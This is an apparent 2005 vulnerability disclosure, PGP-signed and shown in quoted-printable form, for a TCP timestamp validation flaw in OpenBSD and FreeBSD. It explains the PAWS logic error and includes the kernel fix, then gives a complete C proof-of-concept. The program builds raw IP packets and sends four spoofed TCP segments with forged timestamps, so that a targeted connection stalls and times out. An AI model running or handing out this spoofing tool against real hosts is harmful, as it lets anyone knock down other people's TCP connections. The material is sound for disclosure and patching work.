Proof of concept exploit that demonstrates how TCP does not adequately validate segments before updating the timestamp value.
32005b241d79383d20bcfb944afee8bab4677fb4534d2d5550992df217b24ad6
--GvXjxJ+pjyke8COw
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
/*
* TCP does not adequately validate segments before updating timestamp value
* http://www.kb.cert.org/vuls/id/637934
*
* RFC-1323 (TCP Extensions for High Performance)
*
* 4.2.1 defines how the PAWS algorithm should drop packets with invalid
* timestamp options:
* =20
* R1) If there is a Timestamps option in the arriving segment
* and SEG.TSval < TS.Recent and if TS.Recent is valid (see
* later discussion), then treat the arriving segment as not
* acceptable:
*
* Send an acknowledgement in reply as specified in
* RFC-793 page 69 and drop the segment.
*
* 3.4 defines what timestamp options to accept:
*
* (2) If Last.ACK.sent falls within the range of sequence numbers
* of an incoming segment:
*
* SEG.SEQ <=3D Last.ACK.sent < SEG.SEQ + SEG.LEN
*
* then the TSval from the segment is copied to TS.Recent;
* otherwise, the TSval is ignored.
*
* http://community.roxen.com/developers/idocs/drafts/
* draft-jacobson-tsvwg-1323bis-00.html
*
* 3.4 suggests an slightly different check like
*
* (2) If: SEG.TSval >=3D TSrecent and SEG.SEQ <=3D Last.ACK.sent
* then SEG.TSval is copied to TS.Recent; otherwise, it is
* ignored.
*
* and explains this change
*
* APPENDIX C: CHANGES FROM RFC-1072, RFC-1185, RFC-1323
*
* There are additional changes in this document from RFC-1323. These
* changes are:
* (b) In RFC-1323, section 3.4, step (2) of the algorithm to control
* which timestamp is echoed was incorrect in two regards:
* (1) It failed to update TSrecent for a retransmitted segment
* that resulted from a lost ACK.
* (2) It failed if SEG.LEN =3D 0.
* In the new algorithm, the case of SEG.TSval =3D TSrecent is
* included for consistency with the PAWS test.
*
* At least OpenBSD and FreeBSD contain this code instead:
*
* sys/netinet/tcp_input.c tcp_input()
*
* **
* * If last ACK falls within this segment's sequence numbers,
* * record its timestamp.
* * NOTE that the test is modified according to the latest
* * proposal of the tcplw@cray.com list (Braden 1993/04/26).
* **
* if ((to.to_flags & TOF_TS) !=3D 0 &&
* SEQ_LEQ(th->th_seq, tp->last_ack_sent)) {
* tp->ts_recent_age =3D ticks;
* tp->ts_recent =3D to.to_tsval;
* }
*
* The problem here is that the packet the timestamp is accepted from doesn=
't
* need to have a valid th_seq or th_ack. This point of execution is reached
* for packets with arbitrary th_ack values and th_seq values of half the
* possible value range, because the first 'if (todrop > tlen)' check in the
* function explicitely continues execution to process ACKs.
*
* If an attacker knows (or guesses) the source and destination addresses a=
nd
* ports of a connection between two peers, he can send spoofed TCP packets
* to either peer containing bogus timestamp options. Since half of the
* possible th_seq and timestamp values are accepted, four packets containi=
ng
* two random values and their integer wraparound opposites are sufficient =
to
* get one random timestamp accepted by the receipient. Further packets from
* the real peer will get dropped by PAWS, and the TCP connection stalls and
* times out.
*
* The following change reverts the tcp_input() check back to the implement=
ed
* suggested by draft-jacobson-tsvwg-1323bis-00.txt
*
* if (opti.ts_present && TSTMP_GEQ(opti.ts_val, tp->ts_recent) &&
* SEQ_LEQ(th->th_seq, tp->last_ack_sent)) {
* + if (SEQ_LEQ(tp->last_ack_sent, th->th_seq + tlen +
* + ((tiflags & (TH_SYN|TH_FIN)) !=3D 0)))
* + tp->ts_recent =3D opti.ts_val;
* + else
* + tp->ts_recent =3D 0;
* tp->ts_recent_age =3D tcp_now;
* - tp->ts_recent =3D opti.ts_val;
* }
*
* I can't find Braden's proposal referenced in the comment. It seems to
* pre-date draft-jacobson-tsvwg-1323bis-00.txt and might be outdated by
* it.
*
* Fri Mar 11 02:33:36 MET 2005 Daniel Hartmeier <daniel@benzedrine.cx>
*
* http://www.openbsd.org/cgi-bin/cvsweb/src/sys/netinet/tcp_input.c.diff\
* ?r1=3D1.184&r2=3D1.185&f=3Dh
*
* http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/netinet/tcp_input.c.diff\
* ?r1=3D1.252.2.15&r2=3D1.252.2.16&f=3Dh
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <net/if.h>
#ifdef __FreeBSD__
#include <net/if_var.h>
#endif
#include <netinet/in.h>
#include <netinet/in_var.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
static u_int16_t
checksum(u_int16_t *data, u_int16_t length)
{
u_int32_t value =3D 0;
u_int16_t i;
for (i =3D 0; i < (length >> 1); ++i)
value +=3D data[i];
if ((length & 1) =3D=3D 1)
value +=3D (data[i] << 8);
value =3D (value & 65535) + (value >> 16);
return (~value);
}
static int
send_tcp(int sock, u_int32_t saddr, u_int32_t daddr, u_int16_t sport,
u_int16_t dport, u_int32_t seq, u_int32_t ts)
{
u_char packet[1600];
struct tcphdr *tcp;
struct ip *ip;
unsigned char *opt;
int optlen, len, r;
struct sockaddr_in sin;
memset(packet, 0, sizeof(packet));
opt =3D packet + sizeof(struct ip) + sizeof(struct tcphdr);
optlen =3D 0;
opt[optlen++] =3D TCPOPT_NOP;
opt[optlen++] =3D TCPOPT_NOP;
opt[optlen++] =3D TCPOPT_TIMESTAMP;
opt[optlen++] =3D 10;
ts =3D htonl(ts);
memcpy(opt + optlen, &ts, sizeof(ts));
optlen +=3D sizeof(ts);
ts =3D htonl(0);
memcpy(opt + optlen, &ts, sizeof(ts));
optlen +=3D sizeof(ts);
len =3D sizeof(struct ip) + sizeof(struct tcphdr) + optlen;
ip =3D (struct ip *)packet;
ip->ip_src.s_addr =3D saddr;
ip->ip_dst.s_addr =3D daddr;
ip->ip_p =3D IPPROTO_TCP;
ip->ip_len =3D htons(sizeof(struct tcphdr) + optlen);
tcp =3D (struct tcphdr *)(packet + sizeof(struct ip));
tcp->th_sport =3D htons(sport);
tcp->th_dport =3D htons(dport);
tcp->th_seq =3D htonl(seq);
tcp->th_ack =3D 0;
tcp->th_off =3D (sizeof(struct tcphdr) + optlen) / 4;
tcp->th_flags =3D 0;
tcp->th_win =3D htons(16384);
tcp->th_sum =3D 0;
tcp->th_urp =3D 0;
tcp->th_sum =3D checksum((u_int16_t *)ip, len);
ip->ip_v =3D 4;
ip->ip_hl =3D 5;
ip->ip_tos =3D 0;
ip->ip_len =3D htons(len);
ip->ip_id =3D htons(arc4random() % 65536);
ip->ip_off =3D 0;
ip->ip_ttl =3D 64;
sin.sin_family =3D AF_INET;
sin.sin_addr.s_addr =3D saddr;
r =3D sendto(sock, packet, len, 0, (struct sockaddr *)&sin, sizeof(sin));
if (r !=3D len) {
perror("sendto");
return (1);
}
return (0);
}
static u_int32_t
op(u_int32_t u)
{
return (u_int32_t)(((u_int64_t)u + 2147483648UL) % 4294967296ULL);
}
int main(int argc, char *argv[])
{
u_int32_t saddr, daddr, seq, ts;
u_int16_t sport, dport;
int sock, i;
if (argc !=3D 5) {
fprintf(stderr, "usage: %s <src ip> <src port> "
"<dst ip> <dst port>\n", argv[0]);
return (1);
}
saddr =3D inet_addr(argv[1]);
daddr =3D inet_addr(argv[3]);
sport =3D atoi(argv[2]);
dport =3D atoi(argv[4]);
sock =3D socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock < 0) {
perror("socket");
return (1);
}
i =3D 1;
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) =3D=3D -1) {
perror("setsockopt");
close(sock);
return (1);
}
seq =3D arc4random();
ts =3D arc4random();
if (send_tcp(sock, saddr, daddr, sport, dport, seq, ts) ||
send_tcp(sock, saddr, daddr, sport, dport, seq, op(ts)) ||
send_tcp(sock, saddr, daddr, sport, dport, op(seq), ts) ||
send_tcp(sock, saddr, daddr, sport, dport, op(seq), op(ts))) {
fprintf(stderr, "failed\n");
close(sock);
return (1);
}
close(sock);
printf("done\n");
return (0);
}
--GvXjxJ+pjyke8COw
Content-Type: application/pgp-signature
Content-Disposition: inline
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (OpenBSD)
iQCVAwUBQo9lytQ9cYxqOnQJAQJTnAP/R9O3ZrNlmSKWtkFPQP32ciIPAjYfSnkm
btKNqB9KxzXT/GzNrhhjAPiVrYE6W17+XEyYu2bslkCtEP3bMBlTcPCioHOzYDoS
Si0SBhqjiACpaCBYZ/gTcOkZ53upQakGTRCrqhKSfNNQgtQjohs5sJj2vtjQq1TO
lngU9lNA94E=
=9q4G
-----END PGP SIGNATURE-----
--GvXjxJ+pjyke8COw--